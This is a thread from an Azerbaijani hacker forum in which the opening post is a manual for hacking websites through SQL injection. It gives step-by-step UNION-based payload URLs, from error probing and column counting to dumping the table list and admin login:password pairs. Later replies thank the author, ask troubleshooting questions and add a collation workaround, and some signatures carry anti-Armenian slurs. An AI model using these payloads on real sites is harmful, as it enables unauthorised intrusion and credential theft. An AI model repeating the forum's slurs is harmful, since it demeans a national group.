Anti-armenia.ORG - Forumlar - SQL İnjection Manual (Geniş Anlatım)



Istifadəçi
    2014-02-16 00:44 GMT                 

Explosion



İstifadəçi
Mesaj Sayı : 97
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   2  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Baku
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Salamlar. Mən Bu Gün Sizlərə SQL İnjection Açıqlı Saytları Manual Hack Etməyi Öyrədəcəm. SQL Açığı Əsasən İD Dəyəri Vasitəsilə Meydana Gəlir. Məqalə Tamamilə Mənə Aiddir Və Heç Kim Bunun Alıntı Olduğunu Söyləyə Bilməz.

Başlayaq. İlk Öncə SQL Açıqlı Saytı Hədəf Götürək. SQL Açığının Olub Olmadığını Yoxlamaq Üçün İD Dəyərindən Sonra ' İşarəsi Qoyuruq. Yəni :

Kod:
http://hedefsayt.com/bolme.php?id=1'


Bu Zaman Sayt Ya Error Verəcək Ya Da Ki Boş Səhifə Açılacaq. Error Dediyimdə Təbii Ki 404 Erroru Yox SQL Erroru Nəzərdə Tuturam. SQL Errorları Əsasən 2 Cür Olur.

Kod:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Kod:
Warning: Invalid argument supplied for foreach() in /home/test /public_html/news.php on line 41


Errorumuzu Aldıq.İndi İsə Sıra Order Çəkməyə Gəldi. Order Çəkmək Üçün İD Dəyərindən Sonra +order+by+ Yazırıq Və 1`dən Başlayaraq Artıra Artıra Gedirik.

Kod:
http://hedefsayt.com/bolme.php?id=1+order+by+1

Kod:
http://hedefsayt.com/bolme.php?id=1+order+by+2

Kod:
http://hedefsayt.com/bolme.php?id=1+order+by+3

Kod:
http://hedefsayt.com/bolme.php?id=1+order+by+4

Kod:
http://hedefsayt.com/bolme.php?id=1+order+by+5


Orderin Bitdiyini O Zaman Anlayacayıq Ki Səhifə Error Verəcək. Məsələn 5`də Error Verdi. Amma 4 Tam Səhifə Açdı. 4 Tam Səhifə Açdığına Görə Column Sayımız 4`dür.
İndi İsə Column Sayımızdan İstifadə Edərək Database`dən Tableləri Çəkəcəyik.

Bu Zaman İD Dəyərindən Sonra +union+all+select+ Kodundan İstifadə Edirik. Column Sayımız 4 Olduğuna Görə 4`ə Qədər Yazırıq. Yəni Belə

Kod:
http://hedefsayt.com/bolme.php?id=1+union+all+select+1,2,3,4


Burada Column Sayından Sonra -- Yazırıq Və İD Dəyərindən Əvvəl - İşarəsi Əlavə Edirik. Yəni:

Kod:
http://hedefsayt.com/bolme.php?id=-1+union+all+select+1,2,3,4--


İndi İsə ekrana Hər Hansı Bir Rəqəm Çıxacaq. Tutaq Ki Ekrana 2 Rəqəmi Çıxdı.
Bu Zaman URL`də 2 Rəqəminin yerinə group_concat(table_name) Ən Axıra İsə +from+information_schema.tables+where+table_schema=database() Yazırıq. Yəni Belə.

Kod:
http://hedefsayt.com/bolme.php?id=1+union+all+select+1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema=database()


Ekrana Table`lər Gəldi.Buradan Bizə admin,adminuser,user,users Və Buna Oxşar Tablelər Lazım Olacaq.Biz admin Tablesini İstifadə Edək. İndi İsə Saytın Sonuna Yazdığımız Kod Bu Cür Dəyişəcək :

Kod:
+union+all+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=char(hexlənmiş table kodu)--


Burada Bizə Table Adını Hexləmək Lazım Olacaq. Bunun Üçün Bu Saytdan İstifadə Edək : Klik Et

Burda String Yazılan Yerə Hexləmək İstədiyimiz Table Adını Yazaq. Biz admin Tablesini Seçmişdik. Ona Görə String Yerinə admin Yazaq. Onu Da Qeyd Edim Ki Burada Hərflərin Böyük Kiçik Yazılmasından Çox Şey Asılıdır.

http://imgs.su/tmp/2014-02-15/1392482113-572.jpg


Table Adımızı Yazdıq Və Kodumuzu Aldıq. Verilən Kodların Arasında Vergül İşarəsi Qoyuruq. : 97,100,109,105,110

İndi İsə Saytın Sonuna Yazdığımız Kod Bu Cür Olacaq. :

Kod:
+union+all+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=char(97,100,109,105,110)--


Qarşımıza Columnlar Gəldi : id,login,pass

Bizə İsə login və pass column`u lazım olacaq

Və Kod Belə Olacaq.

Kod:
+union+all+select+1,group_concat(login,0x3a,pass),3,4+from+seçdiyimiz table--


Bizim Seçdiyimiz Table admin Tablesi Olduğu Üçün Kod Bu Cür Olur.Onu Da Qeyd Edim Ki login və pass Arasında Yazdığım 0x3a vergül Rolunu Oynayır Və Onu Mütləq Yazmalısınız.

Kod:
+union+all+select+1,group_concat(login,0x3a,pass),3,4+from+admin--


Mission Completed ! ))) Login Və Pass Qarşımızda.

Videolu Anlatım Üçün : Klik Et

./BlacK GhosT
./Anti-armenia Team and Az-Security Team

Anti-armenia.ORG
    

Istifadəçi
    2014-02-16 04:28 GMT                 

Onser19



Gold
Mesaj Sayı : 152
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   1  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : anti-armenia.org
Ölkə :
Məslək : Web Designer and Programmer
Yaş :
Mesaj :

Mövzunu Paylaş!


Həqiqətən çox lazımlı mövzudur. Təşəkkür

Anti-armenia.ORG
    

Istifadəçi
    2014-02-16 05:36 GMT                 

HackW!N



Gold
Mesaj Sayı : 709
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   17  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Anti-armenia.ORG
Ölkə :
Məslək : 404 Not Found
Yaş : 7
Mesaj :

Mövzunu Paylaş!


Tam açıq aydın bunu başa düşə bildim axırki

Anti-armenia.ORG
    

Istifadəçi
    2014-02-19 00:52 GMT                 

Explosion



İstifadəçi
Mesaj Sayı : 97
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   2  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Baku
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər

Anti-armenia.ORG
    

Istifadəçi
    2014-02-19 05:47 GMT                 

Cahangir25



İstifadəçi
Mesaj Sayı : 1117
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   90  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : PHP
Ölkə :
Məslək : Security Researcher
Yaş :
Mesaj :

Mövzunu Paylaş!


super

AZERBAIJAN!!! FUCK armenia!!!
Anti-armenia.ORG
    

Istifadəçi
    2014-02-19 19:52 GMT                 

Explosion



İstifadəçi
Mesaj Sayı : 97
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   2  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Baku
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər

Anti-armenia.ORG
    

Istifadəçi
    2014-02-20 20:31 GMT                 

Sheyx



İstifadəçi
Mesaj Sayı : 166
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   5  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Vice City
Ölkə :
Məslək : Officer ***
Yaş : 6
Mesaj :

Mövzunu Paylaş!


Explosion təşəkkür qardaşım. Səbrli ve urəyiaçıq adamsan. Hər adam belə aydın yazmır. Təşəkkür

Anti-armenia.ORG
    

Istifadəçi
    2014-02-20 20:48 GMT                 

Explosion



İstifadəçi
Mesaj Sayı : 97
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   2  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Baku
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkür Edirəm Qardaş. Sevindirdin Məni

Anti-armenia.ORG
    

Istifadəçi
    2014-06-30 19:30 GMT                 

Adil236



İstifadəçi
Mesaj Sayı : 12
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Salam Qaqaş mənim bir sualım var. Deməli mən Sql inyekciyalı bir səhifə tapmışam id dən sonra " yazıram Error verir MySql erroru və kodu yazıram ekrana 2 rəqəmi gəlir. Senin dediyin kimi 2 rəqəminin yerinə group_concat(table_name) yazıram axıra isə +from+information_schema.tables+where+table_schema=database() ama hecnə baş vermir. Sehifə oldugu kimi acılır. Nədən ola biler bu? Ama başqa saytda elədim alındı hər şəy ama axırda admin parolunu vermədı. Error in query: Illegal mix of collations for operation 'UNION' belə bir yazı gəldi

Anti-armenia.ORG
    

Istifadəçi
    2014-07-01 10:16 GMT                 

Az-lezgin



İstifadəçi
Mesaj Sayı : 370
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   3  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : ddos attacker
Yaş :
Mesaj :

Mövzunu Paylaş!


Sağol bro əllərinə sağlığ. Çox dəyərli mövzudur.

Çiynində 2 ulduzu olan insan özüvə cox güvənmə, başııvı qaldır göyə bax gör tanrının nə qədər ulduzu var!

http://s002.radikal.ru/i197/1102/07/d9fe68104c2b.gif
Anti-armenia.ORG
    

Istifadəçi
    2014-07-01 13:02 GMT                 

C4pt41n Pr0xy



VIP
Mesaj Sayı : 1448
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   45  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Şuşa
Ölkə :
Məslək : Student
Yaş : 17
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər..

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2014-08-09 21:18 GMT                 

anno_72



İstifadəçi
Mesaj Sayı : 14
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Dəyərli mövzudur.Mən bir dənə sayt tapdım.Orda edəndə ağ səhifə açılır.Ancaq ağ səhəfə,boş.Amma edəndə orda heç bir rəqəm çıxmır.Nə edim ?
(xaiş edirəm kömək edəsiniz)

Anti-armenia.ORG
    

Istifadəçi
    2014-08-10 01:56 GMT                 

st0rybro



VIP
Mesaj Sayı : 46
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : BlacK GhosT
Yaş :
Mesaj :

Mövzunu Paylaş!


Çox sağolun. Təşəkkür edirəm Hər kəsə.

@anno_72 saytda SQL boşluğu yoxdur onda

http://iplogger.org/1uCH3.jpg
Anti-armenia.ORG
    

Istifadəçi
    2014-08-12 03:54 GMT                 

S34rCh



İstifadəçi
Mesaj Sayı : 2
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : S34rCh
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər

Anti-armenia.ORG
    

Istifadəçi
    2014-11-23 15:41 GMT                 

region.062



İstifadəçi
Mesaj Sayı : 105
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   1  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : Fəhlə
Yaş : 29
Mesaj :

Mövzunu Paylaş!


Link yenilənsə əla olardı

Mən fəxr edirəm ki, Aərbaycanlıyam
Anti-armenia.ORG
    

Istifadəçi
    2014-11-23 20:13 GMT                 

Electroshock



İstifadəçi
Mesaj Sayı : 34
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   1  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Baku
Ölkə :
Məslək : İLLEGAL
Yaş : 24
Mesaj :

Mövzunu Paylaş!


Respect +1

Anti-armenia.ORG
    

Istifadəçi
    2015-03-30 23:44 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1643
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : cat /dev/zero>`which you`
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Mövzu 2014-02 olsa da aktualdır.
Çox sağol Explosion xüsusilə forumda çox sual verirlər yeni userlər ki, SQL inj nədir /necədir/rəngi rufu nə rəngdədir)))

Hər dəfə sənin mövzuna referce edirəm)
Əməyə Hörmət

Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2015-04-08 01:29 GMT                 

Cr0sby



VIP
Mesaj Sayı : 230
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   4  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Baku
Ölkə :
Məslək : Hard Defacer, it's only beginning.
Yaş : 23
Mesaj :

Mövzunu Paylaş!


çox yararlıdır

Hərşey VƏTƏN üçün!
Anti-armenia.ORG
    

Istifadəçi
    2015-04-08 14:23 GMT                 

0-dayz



Gold
Mesaj Sayı : 43
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   1  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


@Adil236 unhex(hex(table_name))

Anti-armenia.ORG
    

Istifadəçi
    2015-04-12 22:14 GMT                 

realliq



VIP
Mesaj Sayı : 181
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş : 27
Mesaj :

Mövzunu Paylaş!


Çox çox təşəkkür edirəm qardaş əməyinə sağlıq. +1

Anti-armenia.ORG
    

Istifadəçi
    2016-03-18 21:46 GMT                 

FGHTOM*



İstifadəçi
Mesaj Sayı : 48
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Hacıqabul
Ölkə :
Məslək :
Yaş : 17
Mesaj :

Mövzunu Paylaş!


Alınmır

Dürüstlük bahalı bir mülkdür,ucuz insanlarda tapılmaz
Anti-armenia.ORG
    

Istifadəçi
    2016-12-16 18:51 GMT                 

Mr.UNKO4N



Gold
Mesaj Sayı : 315
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   25  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Baku
Ölkə :
Məslək : Kompyuter Mühəndisi
Yaş : 2
Mesaj :

Mövzunu Paylaş!


Gözəldir!

http://s019.radikal.ru/i625/1712/e2/efbfd92b899c.png
Anti-armenia.ORG
    

Istifadəçi
    2016-12-17 20:05 GMT                 

lazımsız



İstifadəçi
Mesaj Sayı : 1
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : lazımsız
Yaş : 21
Mesaj :

Mövzunu Paylaş!


sağol

LAZIMSIZ
Anti-armenia.ORG
    

Istifadəçi
    2019-02-06 19:25 GMT                 

NctMrslv



İstifadəçi
Mesaj Sayı : 1
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər

Anti-armenia.ORG